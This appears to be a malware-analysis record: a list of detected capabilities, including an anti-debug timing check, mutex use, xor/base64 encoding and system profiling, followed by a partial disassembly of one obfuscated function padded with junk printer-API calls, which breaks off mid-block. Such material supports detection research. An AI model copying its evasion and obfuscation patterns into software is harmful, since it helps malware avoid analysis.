Function at 0x140001010
Capabilities:
Accept command line arguments
Check for time delay via queryperformancecounter
Check for unexpected memory writes
Check mutex on windows
Encode data using base64
Encode data using xor
Extract resource via kernel32 functions
Get disk information
Get file size
Get system information on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x2efe8
call fcn.1401bb900
sub rsp, rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0x8c08], rax
mov eax, dword [section..data]
sub eax, 0x7ff0
mov dword [section..data], eax
cmp dword [section..data], 0x5e43
jle 0x1400010aa
mov edx, 0x26
mov rcx, qword [rsp + 0x8c10]
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [rsp + 0x41ac], eax
mov eax, dword [section..data]
sar eax, 0x18
mov dword [section..data], eax
mov eax, dword [section..data]
shl eax, 2
mov dword [section..data], eax
mov ecx, 0x15
call fcn.1401b9aa0
nop
jmp 0x1401b9385
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov byte [rsp + 0x50], 0x42
mov dword [rsp + 0x41b0], 0xaffa
mov eax, 0x83
mov word [rsp + 0xb60], ax
movabs rax, 0x73b8633bd37f32
mov qword [rsp + 0x8c18], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x41b4], eax
lea rax, [rsp + 0x8c18]
mov qword [rsp + 0x8c20], rax
mov dword [rsp + 0x41b8], 0x7cf0
mov eax, dword [section..data]
mov dword [rsp + 0x41bc], eax
mov eax, dword [rsp + 0x41bc]
sub eax, 0x215a
cmp eax, dword [section..data]
jne 0x14000122d
mov rcx, qword [rsp + 0x8c28]
call sub.WINSPOOL.DRV_AbortPrinter
mov dword [rsp + 0x41c0], eax
mov eax, dword [rsp + 0x41bc]
add eax, 0x6925
cmp eax, dword [section..data]
jle 0x1400011af
mov eax, dword [rsp + 0x41bc]
sub eax, 0x6ae0
mov dword [section..data], eax
movabs rax, 0x77febdc03f8ca2
mov rcx, qword [rsp + 0x8c18]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c20]
movabs rcx, 0x7e74b6264688b9
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8c18], rax
jmp 0x14000122d
mov eax, dword [section..data]
and eax, 0x2c3b
cmp eax, dword [rsp + 0x41bc]
je 0x14000122d
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8c18]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
lea rax, [rsp + 0x41b8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x41ac]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x1c
lea r9, [rsp + 0x8c30]
mov r8d, 0xeb
mov rdx, qword [rsp + 0x8c38]
mov ecx, 6
call sub.WINSPOOL.DRV_EnumPrintersA
mov dword [rsp + 0x41c4], eax
mov ecx, reloc.COMCTL32.dll_DrawInsert
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x41c8], eax
mov eax, 0x691
mov word [rsp + 0xb64], ax
mov dword [rsp + 0x41cc], 0xa79c
mov eax, dword [rsp + 0x41b8]
mov dword [rsp + 0x41d0], eax
mov eax, dword [rsp + 0x41bc]
mov dword [rsp + 0x41d4], eax
cmp dword [rsp + 0x41d4], 0x704a
je 0x140001282
jmp 0x14000128a
call fcn.1401bac30
nop
jmp 0x140001306
lea rax, [rsp + 0xb60]
mov qword [rsp + 0x8c40], rax
mov dword [rsp + 0x41d8], 0xbeb1
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x41dc], al
cmp byte [rsp + 0x41dc], 0x42
je 0x1400012c7
cmp byte [rsp + 0x41dc], 0x48
je 0x1400012ef
jmp 0x1400012fb
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x41e0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x8c48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
nop
jmp 0x1400012fb
movsx eax, byte [rsp + 0x50]
sar eax, 3
mov byte [rsp + 0x50], al
mov dword [rsp + 0x41e4], 0x9ae7
lea rcx, [rsp + 0x267b8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movabs rax, 0x71e828a9ef04ed
mov qword [0x1401e7410], rax
mov eax, dword [rsp + 0x41bc]
mov dword [rsp + 0x41e8], eax
cmp dword [rsp + 0x41e8], 0x63d1
je 0x140001342
jmp 0x140001391
lea r9, [rsp + 0x8c40]
mov r8d, 0x6c
mov rdx, qword [rsp + 0x8c50]
mov rcx, qword [rsp + 0x8c58]
call sub.WINSPOOL.DRV_SetFormA
mov dword [rsp + 0x41c0], eax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb60]
shl eax, cl
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
jmp 0x14000147f
mov eax, dword [rsp + 0x41bc]
mov dword [rsp + 0x41ec], eax
cmp dword [rsp + 0x41ec], 0xffffbbe4
je 0x1400013b1
jmp 0x14000145f
mov rax, qword [0x1401e7410]
mov qword [rsp + 0x8c60], rax
movabs rax, 0x759ed967f75dd9
cmp qword [rsp + 0x8c60], rax
je 0x1400013d9
jmp 0x14000145d
mov eax, dword [rsp + 0x41b8]
xor eax, 0xb46
mov dword [rsp + 0x41d0], eax
lea rax, [rsp + 0x41c4]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0xf9
lea r8, [rsp + 0x8c50]
mov edx, 0x4f
mov rcx, qword [rsp + 0x8c10]
call sub.WINSPOOL.DRV_EnumFormsA
mov dword [rsp + 0x41f0], eax
movzx eax, word [rsp + 0xb64]
mov word [rsp + 0x20], ax
mov r9, qword [rsp + 0x8c18]
mov r8, qword [rsp + 0x8c18]
mov rdx, qword [rsp + 0x8c18]
mov rcx, qword [rsp + 0x8c18]
call fcn.1401bb150
nop
jmp 0x14000147f
mov rax, qword [rsp + 0x8c20]
movabs rcx, 0x758c3548f1688a
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8c18], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x8c68], rax
mov rax, qword [0x1401e7410]
mov qword [rsp + 0x8c70], rax
movzx eax, word [rsp + 0xb64]
mov word [rsp + 0xb68], ax
movabs rax, 0x73616beb8c3144
mov rcx, qword [0x1401e7410]
and rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x8c70]
jg 0x1401b9225
lea rax, [rsp + 0x41b8]
mov qword [rsp + 0x8c78], rax
lea rax, [rsp + 0x41bc]
mov qword [rsp + 0x8c80], rax
mov eax, dword [rsp + 0x41b8]
mov dword [rsp + 0x41f4], eax
cmp dword [rsp + 0x41f4], 0xeafc
je 0x140001510
jmp 0x140001674
movabs rax, 0x731ba7cf5b1d23
mov rcx, qword [rsp + 0x8c70]
or rcx, rax
mov rax, rcx
cmp rax, qword [0x1401e7410]
jg 0x1400015cf
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov qword [rsp + 0x8c88], rax
movabs rax, 0x7616934fc35c3f
cmp qword [rsp + 0x8c88], rax
je 0x14000155e
jmp 0x1400015bd
lea r9, [rsp + 0x8c18]
mov r8d, 0x13
mov rdx, qword [rsp + 0x8c50]
mov rcx, qword [rsp + 0x8c28]
call sub.WINSPOOL.DRV_SetFormA
mov dword [rsp + 0x41f8], eax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
sar eax, 2
mov word [rsp + 0xb60], ax
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x41bc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
jmp 0x1400015cf
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
shl eax, 7
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
mov dword [rsp + 0x41fc], eax
cmp dword [rsp + 0x41fc], 0x91f
je 0x1400015f0
jmp 0x1400015fe
mov rcx, qword [rsp + 0x8c18]
call fcn.1401b9aa0
nop
mov rax, qword [rsp + 0x8c78]
mov ecx, dword [rsp + 0x41b8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8c78]
mov dword [rcx], eax
lea rax, [rsp + 0x41bc]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x41bc]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x6e
lea rax, [rsp + 0x8c80]
mov qword [rsp + 0x20], rax
mov r9d, 0xf9
mov r8d, 3
mov edx, 0x8a
mov rcx, qword [rsp + 0x8c58]
call sub.WINSPOOL.DRV_EnumJobsA
mov dword [rsp + 0x41f8], eax
jmp 0x1401b9135
movsx eax, word [rsp + 0xb64]
mov dword [rsp + 0x4200], eax
cmp dword [rsp + 0x4200], 0x691
je 0x14000176c
cmp dword [rsp + 0x4200], 0x75f
je 0x1400016a6
jmp 0x140001820
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
add eax, 0x718
movzx ecx, word [rsp + 0xb60]
cmp eax, ecx
jl 0x140001767
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41bc], eax
lea rax, [rsp + 0x8c80]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xd1
lea rax, [rsp + 0x8c20]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x41f8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x8c90]
mov qword [rsp + 0x20], rax
mov r9d, 0x29
mov r8, qword [rsp + 0x8c90]
mov edx, 0xe5
mov rcx, qword [rsp + 0x8c28]
call sub.WINSPOOL.DRV_EnumPrinterDataA
mov dword [rsp + 0x4204], eax
movabs rax, 0x7223d97cbe83f2
mov rcx, qword [rsp + 0x8c18]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
jmp 0x140001820
lea rcx, str.niggling_Canvases_Forsaken
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xb6c], ax
mov rax, qword [rsp + 0x8c70]
mov qword [rsp + 0x8c98], rax
mov dword [rsp + 0x4208], 0x30a9
mov byte [rsp + 0x51], 6
mov rax, qword [rsp + 0x8c70]
mov rcx, qword [0x1401e7410]
add rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x8c98]
jle 0x1400017fc
lea rax, [rsp + 0x50]
mov qword [rsp + 0x8ca0], rax
movzx eax, word [rsp + 0xb60]
mov word [rsp + 0xb70], ax
lea rax, [rsp + 0xb64]
mov qword [rsp + 0x8ca8], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x8cb0], rax
jmp 0x140001815
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x41bc]
mov eax, dword [rax]
and eax, ecx
mov dword [section..data], eax
mov dword [rsp + 0x420c], 0xd8eb
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x8ca0]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jne 0x140001915
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x41bc]
mov eax, dword [rax]
or eax, ecx
cmp eax, dword [section..data]
jge 0x1400018cd
lea rax, [rsp + 0x51]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x8f
lea rax, [rsp + 0x8c98]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x8c90]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xb68]
mov qword [rsp + 0x20], rax
mov r9d, 0x17
mov r8, qword [rsp + 0x8cb8]
mov edx, 0xba
mov rcx, qword [rsp + 0x8c28]
call sub.WINSPOOL.DRV_EnumPrinterDataA
mov dword [rsp + 0x4204], eax
lea rax, [rsp + 0x8c98]
mov qword [rsp + 0x8cc0], rax
lea rax, [rsp + 0x8c18]
mov qword [rsp + 0x8cc8], rax
lea rax, [rsp + 0x41d0]
mov qword [rsp + 0x8cd0], rax
mov rax, qword [rsp + 0x8ca8]
movzx eax, word [rax]
mov word [rsp + 0xb74], ax
jmp 0x140001a18
mov rax, qword [rsp + 0x8c70]
mov rcx, qword [rsp + 0x8c98]
sub rcx, rax
mov rax, rcx
cmp rax, qword [0x1401e7410]
jle 0x140001a18
movzx eax, word [rsp + 0xb60]
mov rcx, qword [rsp + 0x8c40]
movzx ecx, word [rcx]
sar eax, cl
movzx ecx, word [rsp + 0xb70]
cmp eax, ecx
jg 0x1400019ce
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb70]
and eax, ecx
mov word [rsp + 0xb60], ax
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x41bc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
lea rdx, [rsp + 0x253d8]
mov rcx, qword [rsp + 0x8c10]
call sub.WINSPOOL.DRV_ResetPrinterA
mov dword [rsp + 0x41f0], eax
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb74]
add eax, ecx
mov word [rsp + 0xb64], ax
jmp 0x140001a18
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb68]
sub eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
lea r9, [rsp + 0x41ac]
mov r8d, 0x3c
mov rdx, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x8cd8]
call sub.WINSPOOL.DRV_SetPortA
mov dword [rsp + 0x41f8], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8ce0], rax
mov rax, qword [rsp + 0x8cc0]
mov rax, qword [rax]
mov qword [rsp + 0x8ce8], rax
movabs rax, 0x74442c9bd072b1
cmp qword [rsp + 0x8ce8], rax
je 0x140001b31
movabs rax, 0x7aca5fd012dda3
cmp qword [rsp + 0x8ce8], rax
je 0x140001a6a
jmp 0x140001bff
mov rax, qword [rsp + 0x8cc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c18]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c20]
cmp rax, qword [rcx]
jbe 0x140001b0f
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x41bc]
mov eax, dword [rax]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c18]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8cc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4204]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41d0], eax
mov r8, qword [rsp + 0x8cb8]
mov rdx, qword [rsp + 0x8cf0]
mov rcx, qword [rsp + 0x8c50]
call sub.WINSPOOL.DRV_ConfigurePortA
mov dword [rsp + 0x41f8], eax
jmp 0x140001b2c
mov rax, qword [rsp + 0x8c70]
mov rcx, qword [0x1401e7410]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c98], rax
jmp 0x140001bff
movzx eax, word [rsp + 0xb60]
mov dword [rsp + 0x4210], eax
cmp dword [rsp + 0x4210], 0x496
je 0x140001b52
jmp 0x140001be9
movzx eax, word [rsp + 0xb70]
movzx ecx, word [rsp + 0xb60]
sar eax, cl
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x50], al
movzx eax, word [rsp + 0xb60]
movzx ecx, word [rsp + 0xb70]
xor eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
mov dword [rsp + 0x28], 3
lea rax, [rsp + 0x8c58]
mov qword [rsp + 0x20], rax
mov r9d, 0x7d
mov r8, qword [rsp + 0x8cb8]
mov rdx, qword [rsp + 0x8cd8]
mov rcx, qword [rsp + 0x8c58]
call sub.WINSPOOL.DRV_SetPrinterDataExA
mov dword [rsp + 0x4214], eax
jmp 0x140001bff
movzx edx, word [rsp + 0xb74]
mov rcx, qword [rsp + 0x8c70]
call fcn.1401b9400
nop
mov dword [rsp + 0x4218], 0xbee
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x421c], 0x4a64
mov rax, qword [rsp + 0x8cd0]
mov eax, dword [rax]
mov dword [rsp + 0x4220], eax
cmp dword [rsp + 0x4220], 0x7cf0
je 0x140001c3f
jmp 0x140001c78
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8cf8], rax
mov dword [rsp + 0x29ea0], 0x94
movzx eax, word [rsp + 0xb70]
mov word [rsp + 0xb78], ax
mov dword [rsp + 0x4224], 0xdabb
jmp 0x140001e3f
mov rax, qword [rsp + 0x8cc0]
mov rax, qword [rax]
mov qword [rsp + 0x8d00], rax
movabs rax, 0x7393c1878f142b
cmp qword [rsp + 0x8d00], rax
je 0x140001e1f
movabs rax, 0x774417cdb08cc7
cmp qword [rsp + 0x8d00], rax
je 0x140001cbc
jmp 0x140001e3f
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x50]
imul ecx, edx
cmp eax, ecx
jge 0x140001ddf
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb74]
add eax, ecx
mov word [rsp + 0xb68], ax
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x8c98]
mov r8d, 0xd6
lea rdx, [rsp + 0xb78]
mov rcx, qword [rsp + 0x8d08]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x41c4], eax
mov rax, qword [rsp + 0x8c78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4214]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8cd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41bc], eax
lea rax, [rsp + 0xb78]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xdb
lea r9, [rsp + 0x8c40]
lea r8, [rsp + 0x8c68]
mov rdx, qword [rsp + 0x8cb8]
mov rcx, qword [rsp + 0x8c28]
call sub.WINSPOOL.DRV_GetPrinterDataA
mov dword [rsp + 0x4228], eax
mov rax, qword [rsp + 0x8c80]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x8cc8]
mov rdx, qword [rax]
movzx ecx, word [rsp + 0xb64]
call fcn.1401ba1d0
nop
jmp 0x140001e1d
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x41bc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c80]
cmp eax, dword [rcx]
jl 0x140001e1d
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8cc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8c18], rax
jmp 0x140001e3f
mov rax, qword [rsp + 0x8cc0]
mov rcx, qword [0x1401e7410]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8cc0]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0x8d10], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.C:Vindictivenessperformable
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x8d18], rax
mov dword [rsp + 0x422c], 0xa14f
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.C:StraightforwardnessGrammarians
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x8d20], rax
mov rax, qword [rsp + 0x8c70]
mov qword [rsp + 0x8d28], rax
movabs rax, 0x71e828a9ef04ed
cmp qword [rsp + 0x8d28], rax
je 0x140001f1b
movabs rax, 0x7d1efd289e10fd
cmp qword [rsp + 0x8d28], rax
je 0x1401b8fa6
jmp 0x1401b90d0
movzx eax, word [rsp + 0xb70]
mov rcx, qword [rsp + 0x8c40]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e6004], ax
movsx eax, word [rsp + 0xb64]
movsx ecx, word [rsp + 0xb74]
sub eax, ecx
movsx ecx, word [rsp + 0xb68]
mov rdx, qword [rsp + 0x8ca8]
movsx edx, word [rdx]
and ecx, edx
cmp eax, ecx
je 0x1401b8f86
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41bc]
add ecx, eax
mov eax, ecx
cmp eax, dword [section..data]
jle 0x140001fdd
movzx eax, word [rsp + 0xb60]
mov dword [rsp + 0x4230], eax
cmp dword [rsp + 0x4230], 0x8c6
je 0x140001fa1
jmp 0x140001fbf
mov eax, dword [rsp + 0x4204]
mov ecx, dword [rsp + 0x41d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8cd0]
mov dword [rcx], eax
jmp 0x140001fdd
mov rax, qword [rsp + 0x8cc0]
mov rcx, qword [rsp + 0x8c98]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c70], rax
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
add eax, ecx
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x8cb0]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jge 0x140002078
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8c18]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8cc8]
mov qword [rcx], rax
mov dword [rsp + 0x20], 0x26
lea r9, [rsp + 0x8cf0]
mov r8d, 0xd6
mov rdx, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x8d08]
call sub.WINSPOOL.DRV_SetPrinterDataA
mov dword [rsp + 0x4214], eax
movsx eax, word [rsp + 0xb68]
movsx ecx, word [rsp + 0xb64]
add eax, ecx
mov word [rsp + 0xb74], ax
movzx eax, word [rsp + 0xb78]
movzx ecx, word [rsp + 0xb70]
sar eax, cl
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
mov eax, dword [rsp + 0x41d8]
add eax, 0xf2
mov dword [rsp + 0x41d8], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8d30], rax
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb78]
xor eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
mov ecx, 9
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4234], eax
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x41bc]
mov eax, dword [rax]
or eax, ecx
mov dword [section..data], eax
mov eax, dword [rsp + 0x41b8]
mov dword [rsp + 0x4228], eax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [section..data]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x41bc], eax
mov rax, qword [rsp + 0x8cc0]
mov rcx, qword [rsp + 0x8c70]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8cc0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4238], eax
mov rax, qword [rsp + 0x8cc8]
mov rcx, qword [rsp + 0x8c18]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8cc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb60]
and eax, ecx
mov word [rsp + 0xb70], ax
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
movzx eax, byte [rsp + 0x51]
sub eax, 0x8b
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
add eax, ecx
mov rcx, qword [rsp + 0x8cb0]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb64]
sub eax, ecx
mov word [rsp + 0xb74], ax
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x41bc]
mov eax, dword [rax]
add eax, ecx
mov dword [section..data], eax
movzx ecx, word [rsp + 0xb6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb7c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov rax, qword [0x1401e7410]
mov rcx, qword [rsp + 0x8cc0]
mov qword [rsp + 0x8d38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8d38]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8c70], rax
cmp dword [rsp + 0x41d8], 0xda1b
jb 0x140002078
mov rax, qword [rsp + 0x8cc8]
mov rax, qword [rax]
mov qword [rsp + 0x8d40], rax
movabs rax, 0x739cfb917d3c29
cmp qword [rsp + 0x8d40], rax
je 0x14000243d
movabs rax, 0x677a6fe640000000
cmp qword [rsp + 0x8d40], rax
je 0x1400022f1
jmp 0x1400024f3
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov dword [rsp + 0x423c], eax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb60]
xor eax, ecx
movzx ecx, word [rsp + 0xb70]
mov dword [rsp + 0x4240], ecx
movzx edx, word [rsp + 0xb78]
movzx ecx, dl
mov edx, dword [rsp + 0x4240]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x140002438
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0xdd
mov r8, qword [rsp + 0x8c38]
mov rdx, qword [rsp + 0x8cd8]
mov rcx, qword [rsp + 0x8c28]
call sub.WINSPOOL.DRV_SetPrinterDataExA
mov dword [rsp + 0x4244], eax
mov rax, qword [rsp + 0x8cc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c18]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c68]
movzx eax, byte [rax]
mov byte [rsp + 0x4248], al
cmp byte [rsp + 0x4248], 8
je 0x1400023cc
cmp byte [rsp + 0x4248], 0x71
je 0x14000241b
jmp 0x140002438
movzx eax, byte [rsp + 0x51]
and eax, 0x4c
mov byte [rsp + 0x51], al
mov r8, qword [rsp + 0x8c38]
mov rdx, qword [rsp + 0x8d48]
mov rcx, qword [rsp + 0x8d50]
call sub.WINSPOOL.DRV_ConfigurePortA
mov dword [rsp + 0x41c0], eax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb60]
sub eax, ecx
mov word [rsp + 0xb70], ax
jmp 0x140002438
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x41bc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
jmp 0x1400024f3
xor edx, edx
lea rcx, [rsp + 0x8cc0]
call qword [sym.imp.USER32.dll_LookupIconIdFromDirectory]
mov dword [rsp + 0x424c], eax
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb68]
sub eax, ecx
movsx ecx, word [rsp + 0xb74]
movsx edx, word [rsp + 0xb64]
add ecx, edx
cmp eax, ecx
jne 0x1400024f3
movzx eax, word [rsp + 0xb70]
mov dword [rsp + 0x4250], eax
cmp dword [rsp + 0x4250], 0x7f9
je 0x1400024e5
cmp dword [rsp + 0x4250], 0xaf3
je 0x1400024aa
jmp 0x1400024f3
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
